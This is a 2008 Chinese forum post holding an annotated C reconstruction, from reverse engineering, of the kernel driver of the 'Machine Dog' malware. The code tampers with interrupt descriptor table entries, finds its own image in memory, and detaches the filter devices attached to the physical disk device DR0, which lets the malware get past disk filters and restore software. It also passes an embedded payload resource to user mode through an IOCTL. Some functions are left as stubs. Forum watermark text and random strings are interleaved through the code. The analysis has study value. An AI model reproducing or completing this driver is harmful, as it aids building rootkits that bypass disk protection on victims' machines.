[c语言] “机器狗”病毒驱动部分逆向分析注释（C代码）

降落的天使

降落的Angel

版主

Rank: 7 Rank: 7 Rank: 7

xIT苯蕏-.﹡

新人进步勋章热心会员勋章爱心勋章爱国勋章笨猪勋章青蛙王子勋章论坛版主勋章

发短消息
加为好友
当前离线

楼主大中小发表于 2008-5-24 13:27 只看该作者

“机器狗”病毒驱动部分逆向分析注释（C代码）

*/
#include <ntddk.h> // various NT definitions www.520diannao.com( M! u0 J% O& H5 t" T# F9 z
我爱电脑技术社区--打造最好的电脑技术自学交流平台0 A4 V3 R7 i. K! F4 Z9 k' b3 p
#define IOCTL_MYDEV_BASE 0xF000 我爱电脑技术论坛" D+ h: u  _" u' m! D
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0" 我爱电脑技术论坛) r; r: V; Z# W3 w, f+ P
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0"
#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0"
www.520diannao.com1 ^; q/ G( u  \! x
PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize; 打造最好的电脑自学交流论坛; p3 N1 n, G5 G  r5 N

typedef struct _idtr + }: x$ E# G; ^8 _9 c  f$ u8 l1 i
{ www.520diannao.com) u+ h2 j5 o. [
//定义中断描述符表的限制，长度两字节；
short IDTLimit;
//定义中断描述服表的基址，长度四字节；
unsigned int IDTBase;
}IDTR,*PIDTR; / A0 p5 }5 p8 ^$ {

typedef struct _idtentry
{ www.520diannao.com3 s6 v5 |6 A( Q! J6 |$ X
//中断执行代码偏移量的底16位；
unsigned short OffsetLow;
//选择器，也就是寄存器；
unsigned short Selector;
//保留位，始终为零；
unsigned char Reserved;
//IDT中的门的类型：包括中断门，陷阱门和任务门；
unsigned char Type:4; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站: y7 \! Y2 _0 ]  f7 x) ^" U7 w
//段标识位；
unsigned char SegmentFlag:1;
//中断门的权限等级，0表示内核级，3表示用户级；
unsigned char DPL:2; . z# M! T% ]1 g4 J/ K& a) u0 Q: B
//呈现标志位；
unsigned char Present:1; www.520diannao.com6 R7 V% g0 o6 v! I1 c
//中断执行代码偏移量的高16位； . T; E! D/ Z) R3 t, C  b
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;
& K. R; b: Q% O0 T4 @( W! x% |; Z% c
#define HOOKINTID_09 9 //NPX Segment Overrun 我爱电脑技术社区--打造最好的电脑技术自学交流平台0 k2 O; w8 P; U
#define HOOKINTID_0E 0x0E //Page Fault
www.520diannao.com& ?) p1 O+ }) D, O
VOID CheckIdt()//用SIDT指令得到中断向量啊，然后修改中断向量入口地址电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站! X* P% h7 D; Q' a2 N; e, l1 {
{ 打造最好的电脑自学交流论坛- G9 n5 S/ p2 G4 e1 b
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站( z2 m4 r* L) B7 m7 `' u
unsigned long OldISR_0E;
我爱电脑技术论坛% n+ W1 j0 x6 F8 t0 r
//保存IDT入口的基地址和限制信息的数据结构；
IDTR idtr;//store interrupt descript table register. to idtr 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站6 M* K( }+ f0 f. ]' V
我爱电脑技术论坛6 \) k4 }$ h0 Z* r/ g- P' {2 b6 T
//记录IDT数组的指针，通过它可以查找到我们需要Hook中断号对应的中断门；
PIDTENTRY IdtEntry;
我爱电脑技术社区--打造最好的电脑技术自学交流平台5 ~/ F. t! x+ J! U' q
//汇编指令sidt，获取IDT入口信息；我爱电脑技术论坛7 I* P' s0 B7 ]: y* V/ P
__asm sidt idtr

//赋予IDT基地址值；
IdtEntry = (PIDTENTRY)idtr.IDTBase;

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量，以备执行中断处理或恢复时使用我爱电脑技术论坛& l; g/ w6 ~& o0 F7 K; V) L
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);

INT_09_Address_High8 = OldISR_09&0x0FF000000;

/*
这两句汇编代码什么意思？eax相减应该总是0，那么 jz不总是跳转返回了？？？
有知道的大侠告诉我dream2fly(QQ:838468959) 我爱电脑技术社区--打造最好的电脑技术自学交流平台: G1 U1 h- N9 ~2 N' w
sub eax, eax 我爱电脑技术社区--打造最好的电脑技术自学交流平台4 q6 ^4 z0 ~$ s- \% R: `
jz short FunctionExit
难道是？
if (INT_09_Address_High8 == 0)
return;
*/
打造最好的电脑自学交流论坛2 `( x- o. N1 q* N% h
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量，以备执行中断处理或恢复时使用；
OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow); www.520diannao.com8 U; g$ |) |: H  i
www.520diannao.com4 s1 B" }9 e+ L, H
INT_0E_Address_High8 = OldISR_0E&0x0FF000000;
打造最好的电脑自学交流论坛2 ]/ f* _4 w5 y# M/ p
if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
{  打造最好的电脑自学交流论坛! w- ?# }2 O  J4 k  {, @8 |
//关中断我爱电脑技术论坛9 U( S- K: ?% N! c
__asm cli 打造最好的电脑自学交流论坛( Q4 N" v" Y4 d

IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断，难道不bosd? 我爱电脑技术社区--打造最好的电脑技术自学交流平台' I2 O6 v3 t1 Y2 ?0 D6 S: t
  电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站  J) \$ d9 n& S$ d5 g
//开中断
__asm sti
} 我爱电脑技术社区--打造最好的电脑技术自学交流平台" }0 c5 ?0 c6 y9 }" ?
} 我爱电脑技术社区--打造最好的电脑技术自学交流平台7 s" U, A. `, X4 S7 Y( R6 G

/* 打造最好的电脑自学交流论坛: u* K8 ~- g# U2 m- w3 Y; R( q
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/ 打造最好的电脑自学交流论坛& N0 `- @0 k' E. ^2 g- X* v! v4 l+ X  \
VOID* SearchSelf()
{ ' F) y) e9 o- C9 c
VOID* pSelfImage = NULL;
VOID* pCurAddr = NULL; 我爱电脑技术论坛" V5 J( v2 o9 n! c" H0 o6 L
VOID* pTmpAddr = NULL;
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站2 s, ^( P- c' E7 V0 g3 x8 \/ g& t
// loc_40045F:这个取当前地址用C怎么写？
//028 lea ebx, loc_40045F
//028 and ebx, 0FFFFFC00h
我爱电脑技术社区--打造最好的电脑技术自学交流平台2 K* D* O! @9 d3 q! N
//pSelfImage如何取？
打造最好的电脑自学交流论坛6 J# e8 n# p: Z
while(MmIsAddressValid(pSelfImage))
{
if ((unsigned long)pSelfImage <= 0x80000000) 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站9 E# L3 R6 a! A
return NULL;

if (RtlEqualMemory(pSelfImage, "MZ", 2)) / P- Z$ \' }0 _+ `: E# x; l$ F' v
{ www.520diannao.com" I: t9 O$ B$ u$ k3 o  C
pCurAddr = pSelfImage; www.520diannao.com4 w: ~. j6 e/ x: q# {& ~; ]# v
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C); 打造最好的电脑自学交流论坛& z: p9 z: |3 T9 i5 [: J
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);
打造最好的电脑自学交流论坛$ C8 t: n5 s! c
if (!MmIsAddressValid(pCurAddr))
return NULL; , M) c2 x' |" r5 u0 ?8 i. h
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站3 F8 }$ @1 a: G7 s1 Q
if (RtlEqualMemory(pCurAddr, "PE", 2))
return pSelfImage;
} www.520diannao.com& c8 x, ?0 s9 D- l' M3 Z
) y$ U% k3 p0 x: s1 n" W: ?
(unsigned long)pSelfImage -= 0x400;//-1024K " D( [. \+ a1 e& E% a
} www.520diannao.com4 c6 a% d7 v: ~* ^7 i# d) [, x  b

return NULL; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站" V: y1 k; K- `5 P+ j
}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
// 有空再补上：）

return 0; 打造最好的电脑自学交流论坛; Q, E+ z  `6 g( ~6 J. V
}
// 打造最好的电脑自学交流论坛" m7 w! h  G! i
// Device driver routine declarations. 我爱电脑技术社区--打造最好的电脑技术自学交流平台1 r3 {! U" {6 ]/ }5 ~. g
//

NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
); 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站/ S$ U( J# @, E# C8 j2 K2 _

NTSTATUS 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站' s$ f/ B1 v3 }) m2 U2 |
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
); 打造最好的电脑自学交流论坛2 I( e' i6 a- E9 I

VOID * B6 U, H) D- S9 }1 j8 a1 `0 w
Unload(
IN PDRIVER_OBJECT DriverObject
);
我爱电脑技术论坛9 Q3 K3 x: r6 O. X
NTSTATUS 5 R  T/ @8 a5 N3 P3 t5 e- H5 r
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject, " L% e/ o$ T+ e. b5 L0 R
IN PUNICODE_STRING RegistryPath 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站' |; J/ M  F% v. H6 g* K
)
{ 6 a  W7 ?6 V- n. f  K
NTSTATUS ntStatus; 我爱电脑技术社区--打造最好的电脑技术自学交流平台, A2 e0 w& N8 B" [% ]+ c
CHAR* pResData = NULL;
ANSI_STRING SourceString; 我爱电脑技术社区--打造最好的电脑技术自学交流平台6 l* m3 _+ o1 q, t5 q
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object www.520diannao.com9 g8 {  J- [8 Z% {; b3 l/ K& a5 J
UNICODE_STRING SymbolicLinkName;  - T) j) `% I* z* n6 u
UNICODE_STRING DeviceName;
VOID* pSelfImage;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object; 我爱电脑技术社区--打造最好的电脑技术自学交流平台8 p- O) M: ]' m' Z4 G
www.520diannao.com7 ~; F: s" z/ h
CheckIdt(); 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站6 }: a" w6 n5 y. O4 D  z, V

pSelfImage = SearchSelf(); www.520diannao.com7 z! `( y% _3 k: l
if (pSelfImage == NULL)
return -1; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站, \; ~( g0 r$ n' D$ K
www.520diannao.com3 V0 V* x* }1 M2 a6 m4 |4 b
g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
if (g_ResDataSize == 0)
{
return -1; 打造最好的电脑自学交流论坛; V% U  ]/ C2 [
} 我爱电脑技术论坛2 G7 `6 L: g: N0 {5 x. H4 c0 T" p9 ~

g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
// 跳转到下条指令，延时 jmp short $Content$2 6 s1 z' F' _: Q- N$ r+ l
打造最好的电脑自学交流论坛2 M- ~, c7 a% S$ Q2 Q& H
RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

DriverObject->DriverUnload = Unload; ( N3 D) [7 V+ L, T
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch; www.520diannao.com" `+ D, z) i* H% R, @

// 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
RtlInitAnsiString(&SourceString, NT_DEVICE_NAME); * \( D3 J+ ~& O
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE); 我爱电脑技术社区--打造最好的电脑技术自学交流平台" o: \8 e5 y* i7 Y# H* x
" |3 E* e2 l2 G! z
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME); 我爱电脑技术论坛  Z3 i( g5 q3 b. x
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE); 我爱电脑技术论坛. F0 u; P' w; ^# v3 O5 t! O

ntStatus = IoCreateDevice( 我爱电脑技术社区--打造最好的电脑技术自学交流平台6 ]  \. s0 }, u3 [5 K5 b" T2 _
DriverObject, // Our Driver Object * U; O9 Y. @, I2 B
0, // We don’t use a device extension 我爱电脑技术论坛- k3 W  d1 m- [8 I" P& M
&DeviceName,  & b( Y7 F- d2 f
FILE_DEVICE_NULL, // Device type
0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧？
FALSE, // Not an exclusive device www.520diannao.com+ Z$ D/ u9 F8 x, U0 }$ V
&DeviceObject ); // Returned ptr to Device Object 我爱电脑技术论坛% e* s8 o# j  w- d

if ( !NT_SUCCESS( ntStatus ) ) 我爱电脑技术论坛# `; Y* a5 Q5 u( i3 [# K0 @, M/ o
{
goto End;
} 打造最好的电脑自学交流论坛, \9 W5 w8 G& S  k6 ~

ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName ); www.520diannao.com5 e1 f- K% V4 k% v: d8 X7 `% `

if ( !NT_SUCCESS( ntStatus ) )
{
cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)
{ www.520diannao.com4 d8 h8 p2 l& A. g4 D8 ^8 G( B- x) V' b
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object); 打造最好的电脑自学交流论坛9 S1 S* o& D4 t& C; y
cur_device_object = next_device_object;
}
}
7 R) V5 r: [+ S  P2 M! a# P3 o: Z
End: 我爱电脑技术论坛4 e+ C  s" J; j0 V
RtlFreeUnicodeString(&DeviceName); 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站- @7 N! L- a7 i1 W
RtlFreeUnicodeString(&SymbolicLinkName);
打造最好的电脑自学交流论坛6 l2 ^# Q2 }! M8 b- t' \9 u' u7 P
return STATUS_SUCCESS; 8 J: S6 I5 v8 u/ T
}
www.520diannao.com: z  R$ d  f$ S$ F$ K
VOID
Unload( www.520diannao.com7 }* K8 F; W+ ~* j, c8 v
IN PDRIVER_OBJECT DriverObject 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站9 T% }/ T7 q# ?1 H
) 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站: ~  I2 y$ w# l* j' N+ _" C
{
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT cur_device_object; 我爱电脑技术论坛. ^% p- \  v3 T4 I, @
PDEVICE_OBJECT next_device_object; 打造最好的电脑自学交流论坛+ v6 W9 z" W3 s" Y. L

if (g_ResData) 打造最好的电脑自学交流论坛) C# m3 [2 e* v
{ 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站  f1 b: f0 h2 D2 L# f+ U% K
ExFreePool(g_ResData); 打造最好的电脑自学交流论坛, t- P" [$ r- a* ~0 n) k' g8 H
} www.520diannao.com( F+ o! C! a& O7 j7 j3 G

if (DriverObject) 打造最好的电脑自学交流论坛: m( y, ^$ O, V4 x/ ^9 m' O* u1 n
{ www.520diannao.com7 G& |3 z* B1 l! t0 Y! B
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE); 1 ?2 t8 y# s6 }- g9 |& G

IoDeleteSymbolicLink(&SymbolicLinkName);
RtlFreeUnicodeString(&SymbolicLinkName); 我爱电脑技术论坛; e, f! m# t3 j3 I3 D6 I  w
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站7 B' s6 [' r0 o) i; ^. `
cur_device_object = DriverObject->DeviceObject; 我爱电脑技术社区--打造最好的电脑技术自学交流平台# e4 |1 d. T) x  J: t: L

while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice; www.520diannao.com+ \. N7 a' R* j, [& F0 u( j
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object; 打造最好的电脑自学交流论坛6 m# [1 V0 W/ e1 Q7 E' a
} , S/ j9 i, U4 N
} 打造最好的电脑自学交流论坛: _! |2 r$ S2 Z: Z" K
}

NTSTATUS 打造最好的电脑自学交流论坛/ g* `+ }) V0 N# q3 _# c
CommonDispatch( 打造最好的电脑自学交流论坛7 [2 ^8 ^$ }7 e  u
IN PDEVICE_OBJECT DeviceObject, 我爱电脑技术社区--打造最好的电脑技术自学交流平台7 T; `0 _3 y" n( }
IN PIRP Irp
)
{
PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING DRO_DeviceName;  我爱电脑技术论坛) t) U  n8 Y$ F( C5 o/ T
- [& f4 C; z( a; v4 ]/ Z1 P8 Z
PIO_STACK_LOCATION irpSp;// Pointer to current stack location 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站, n: T9 ~. U  U+ _; v
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站1 ], m% Z4 l) Q7 }- J( E
ULONG outBufLength; // Output buffer length www.520diannao.com, ^" L# m, s) F. B: I

Irp->IoStatus.Status = STATUS_SUCCESS; 打造最好的电脑自学交流论坛; H: j* R, R. W
Irp->IoStatus.Information = 0;

irpSp = IoGetCurrentIrpStackLocation( Irp );
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength; 我爱电脑技术论坛. T2 {# e: w. ~1 a& N! Q% w9 m* ^

if(!inBufLength || !outBufLength)
{
ntStatus = STATUS_INVALID_PARAMETER; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站0 s. R0 W3 n8 ^, z
goto End;
} 我爱电脑技术论坛! X& v% d) B2 U) Z  x9 Z

switch ( irpSp->MajorFunction ) www.520diannao.com7 [/ Z- v7 r# i: g  e
{ ' B* V' G- d" s
case IRP_MJ_CREATE: 打造最好的电脑自学交流论坛* e/ M9 Y' h# ^: a6 `% Q
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME); 6 R8 w$ k: \: n4 K" [( D
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);
: T: q- `* T: E' Z8 H. F
IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
g_DR0_DeviceObject = DRO_FileObject->DeviceObject;
打造最好的电脑自学交流论坛' e8 R! v  U8 R* Y
//保存DR0上的附加设备，然后断开附加，等IRP_MJ_CLOSE时恢复附加我爱电脑技术社区--打造最好的电脑技术自学交流平台! I$ P1 U; l3 f! {' c7 m( q: |
if (DRO_FileObject->DeviceObject->AttachedDevice) www.520diannao.com- }  a6 A( t) P0 B
{ 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站4 v* d% C2 c6 j" y
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
DRO_FileObject->DeviceObject->AttachedDevice= NULL; ! B! e" h4 P: q) d& `
} 打造最好的电脑自学交流论坛, a! ^! T9 ]* r, i3 \- X- F

ObDereferenceObject(DRO_FileObject); 7 T; |# o- l2 _8 z7 C% Z. d

RtlFreeUnicodeString(&DRO_DeviceName); 我爱电脑技术社区--打造最好的电脑技术自学交流平台# ]- [. i' k# b) g" _
我爱电脑技术社区--打造最好的电脑技术自学交流平台. S9 R+ L: k) r6 K; Q$ V+ b
break; 我爱电脑技术社区--打造最好的电脑技术自学交流平台9 a8 }' B" W; r8 }4 I5 N, |
case IRP_MJ_CLOSE: www.520diannao.com. c; _! c: F# Q) u2 |
if (g_DR0_DeviceObject) www.520diannao.com6 M" o7 l" j' ^$ o3 o7 m0 ?& |
{ 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站- A# F/ @7 I2 |, P$ I7 D
if (g_OldAttachedDeviceOfDR0)
{
g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
} 我爱电脑技术社区--打造最好的电脑技术自学交流平台! s6 n) a3 z6 B! Q3 Y  t
} 我爱电脑技术论坛+ }/ ^6 C9 m( H5 D4 o% S; K& [( o

break;
case IRP_MJ_DEVICE_CONTROL: 我爱电脑技术社区--打造最好的电脑技术自学交流平台$ M1 `6 O& a2 \2 F- M8 I
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
{
if (outBufLength < g_ResDataSize)
goto End;

// 此处就是提取驱动里的资源解码返回给ap层，很简单，不再反汇编了，此处省略
// 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
// 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同？？
RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize); www.520diannao.com% n3 }& _$ h# \

Irp->IoStatus.Information = g_ResDataSize; 7 W9 Y$ k3 |; O$ W0 v# N
}
else www.520diannao.com6 y. ^3 B9 E1 ^) ^# {5 B- a
{ 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站; r) }. ]- h, q7 ^& O! O; g; N
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
}

break; / k1 H3 Y' e; E6 L

default: 我爱电脑技术社区--打造最好的电脑技术自学交流平台9 z- m' I. s# @) h4 g

//
// The specified I/O control code is unrecognized by this driver. 5 z$ g7 G, M; k" A. s2 n
// 打造最好的电脑自学交流论坛+ I9 F& R2 m( s
打造最好的电脑自学交流论坛2 l2 M: G0 ~: F; F" a& ]# p
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站! D' l2 M/ w1 {( U- [1 E$ R
}

End:
//
// Finish the I/O operation by simply completing the packet and returning 我爱电脑技术社区--打造最好的电脑技术自学交流平台) j+ \2 W9 N& W' h  ?% |3 C* g8 ?
// the same status as in the packet itself. 我爱电脑技术论坛; L- F6 a9 G. N+ H
// 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站( P8 @4 U& O) P
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站5 z7 m$ r5 H1 \, i9 m
Irp->IoStatus.Status = ntStatus; www.520diannao.com8 E- A1 ]  B3 m! t

IoCompleteRequest( Irp, IO_NO_INCREMENT ); 我爱电脑技术论坛% _: g8 {- p' b. ~- d/ ^- u! }4 ?

return ntStatus;
}

做回我自己，充实每一天博客：http://www.munaokeblog.cn

TOP

‹‹ 上一主题 | 下一主题 ››